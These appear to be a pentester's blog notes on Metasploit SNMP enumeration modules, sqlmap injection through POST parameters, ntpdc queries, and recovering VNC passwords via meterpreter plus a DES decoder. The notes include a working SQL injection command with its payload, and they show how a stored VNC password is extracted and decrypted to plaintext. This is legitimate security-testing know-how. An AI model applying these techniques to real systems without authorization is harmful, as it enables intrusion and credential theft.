New SNMP Metasploit Modules

my new favorite modules (for today) are the snmp_enumusers and snmp_enumshares modules that work against windows hosts that have snmp running.

msf > use auxiliary/scanner/snmp/
use auxiliary/scanner/snmp/aix_version
use auxiliary/scanner/snmp/snmp_enumshares

use auxiliary/scanner/snmp/cisco_config_tftp
use auxiliary/scanner/snmp/snmp_enumusers

use auxiliary/scanner/snmp/cisco_upload_file
use auxiliary/scanner/snmp/snmp_login

use auxiliary/scanner/snmp/snmp_enum
use auxiliary/scanner/snmp/snmp_set

sqlmap with POST requests

Notes for sqlmap and POST requests since every f**king tutorial only covers GETs

options you'll want to use

-u URL, --url=URL <-- Target url
--method=METHOD <-- HTTP method, GET or POST (default GET)
--data=DATA <-- Data string to be sent through POST
-p TESTPARAMETER <-- Testable parameter(s)
--prefix=PREFIX <-- Injection payload prefix string

--postfix=POSTFIX <-- Injection payload postfix string

--dbms=DBMS <--Force back-end DBMS to this value

*--dbms= if sqlmap is sucking

we'll assume we have a simple post request


user@ubuntu:~/pentest/sqlmap-dev$ python sqlmap.py -u "http://192.168.1.100/fancyshmancy/login.aspx" --method POST --data "usernameTxt=blah&passwordTxt=blah&submitBtn=Log+On" -p "usernameTxt" --prefix="')" --dbms=mssql -v 2

--method to pass the POST option

--data to pass the paramaters that are required for the POST

-p to pass the injectable field, so in this case the username field (usernameTxt)

--prefix to pass what needs to be passed before we can inject. we had to issue a tick ( ' ) and right parenthesis ( ) ) to close out the query

--dbms to tell it the backend was mssql

this yields us an sqlmap query like so:

Place: POST
Parameter: usernameTxt
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: usernameTxt=blah'); WAITFOR DELAY '0:0:5';-- AND ('yTwo'='yTwo&passwordTxt=blah&submitBtn=Log+On

I forgot my NTP stuff, so here's more notes on it

yeah what the title says, for some reason the NTP module wasn't working for me in Metasploit so i had to remember how to use the NTP tools to pull some info.

here are my notes:

ntpdc -c peers 192.168.1.205

ntpdc -c reslist 192.168.1.205

VNC passwords and Metasploit and DES

inside your meterpreter shell run getvncpw

meterpreter > run getvncpw
[*] Searching for VNC Passwords in the registry....

[*] FOUND in HKLM\Software\RealVNC\WinVNC4 -=> 3290e903b5bf3769 =>


you're probably asking yourself what the F kind of password 3290e... is. Well its DES encrypted. Lucky for us the key is hardcoded (0x238210763578887) and since VNC is open source...

code here:
http://packetstormsecurity.org/files/view/10159/vncdec.

change the relevant section

/* put your password hash here in p[] */

char p[]={0x59,0x58,0x6e,0x10,0xa4,0x48,0xd3,0x80};


getvncpw spit out: 3290e903b5bf3769

char p[]={0x32,0x90,0xe9,0x03,0xb5,0xbf,0x37,0x69};

cg@segfault:~/pentest$ gcc vncdec.c -o vncdec
cg@segfault:~/pentest$ ./vncdec
demopass


or use this one
http://www.consume.org/~jshare/vncdec.c

where you can just put your hash on the command line and don't have to recompile every time.
